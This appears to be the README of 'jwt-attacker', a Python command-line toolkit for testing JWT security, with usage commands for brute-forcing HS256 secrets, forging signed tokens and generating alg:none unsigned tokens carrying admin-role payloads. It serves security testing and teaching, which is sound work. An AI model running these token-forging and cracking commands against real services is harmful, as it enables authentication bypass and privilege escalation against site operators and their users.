A Python-based toolkit for testing the security of JWT implementations. This tool helps researchers, developers, and bug bounty hunters identify common JWT misconfigurations and vulnerabilities.
- HS256 Secret Cracker: Brute-force weak signing keys
- JWT Forger: Sign your own payloads with custom headers
- alg: none Attack: Generate unsigned tokens
- Rich CLI Interface: Beautiful terminal output with colors
This tool is for educational and authorized testing purposes only. Do not use it against systems you don't have permission to test. The authors are not responsible for any misuse of this tool.
git clone https://github.com/kedi/jwt-attacker
cd jwt-attacker
pip install -r requirements.txtpip install -e .python -m jwt_attacker <command> [options]Brute-force attack on HS256 signed tokens:
python -m jwt_attacker crack --token "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..." --wordlist examples/wordlist.txtCreate custom signed JWT tokens:
python -m jwt_attacker forge --payload '{"user": "admin", "role": "administrator"}' --secret "mysecret"Create unsigned tokens (alg:none attack):
python -m jwt_attacker alg-none --payload '{"user": "admin", "role": "administrator"}'For Windows PowerShell users, use escaped double quotes:
# alg:none attack
python -m jwt_attacker alg-none --payload '{\"user\":\"admin\",\"role\":\"administrator\"}'
# Forge JWT token
python -m jwt_attacker forge --payload '{\"user\":\"admin\"}' --secret "mysecret"
# Crack JWT token
python -m jwt_attacker crack --token "eyJ0eXAiOi..." --wordlist examples/wordlist.txtPowerShell Tips:
- Use single quotes around the entire JSON payload
- Escape double quotes inside JSON with backslash:
\" - Example:
--payload '{\"key\":\"value\"}'
For an interactive PowerShell example script, run:
powershell -ExecutionPolicy Bypass -File examples/windows_examples.ps1jwt-attacker/
├── README.md
├── LICENSE
├── requirements.txt
├── setup.py
├── .gitignore
├── jwt_attacker/
│ ├── __init__.py
│ ├── main.py
│ ├── forge.py
│ ├── crack.py
│ ├── alg_none.py
│ └── utils.py
├── examples/
│ ├── token_example.txt
│ └── wordlist.txt
└── tests/
└── test_crack.py
Run the test suite:
python -m pytest tests/python -m jwt_attacker crack --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Njc1NzI0NTQsImlhdCI6MTc1MTY3NDg1NCwibmJmIjoxNzUxNjc0ODU0LCJpc3MiOiJ0ZXN0LmNvbSIsInN1YiI6InlvdXItc3ViamVjdCIsImF1ZCI6InlvdXItYXVkaWVuY2UiLCJqdGkiOiJ5b3VyLWluZGVudGlmaWVyIn0.AU3QiW8J1kN6pzjpe8T3ikX5UK7ensTGEa8RZDb9qL4" --wordlist examples/wordlist.txtpython -m jwt_attacker forge --payload '{"user": "admin", "admin": true}' --secret "secret123"python -m jwt_attacker alg-none --payload '{"user": "admin", "admin": true}'# Example 1: Crack a weak token
python -m jwt_attacker crack --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." --wordlist examples/wordlist.txt
# Example 2: Forge admin token
python -m jwt_attacker forge --payload '{\"user\":\"admin\",\"admin\":true}' --secret "secret123"
# Example 3: Generate unsigned token
python -m jwt_attacker alg-none --payload '{\"user\":\"admin\",\"admin\":true}'python -m jwt_attacker alg-none --payload '{"user": "admin", "admin": true}'- Fork the repository
- Create a feature branch
- Make your changes
- Add tests if applicable
- Submit a pull request
This project is licensed under the MIT License - see the LICENSE file for details.
- JWT.io - JWT Debugger
- OWASP JWT Security Cheat Sheet
- Common JWT Vulnerabilities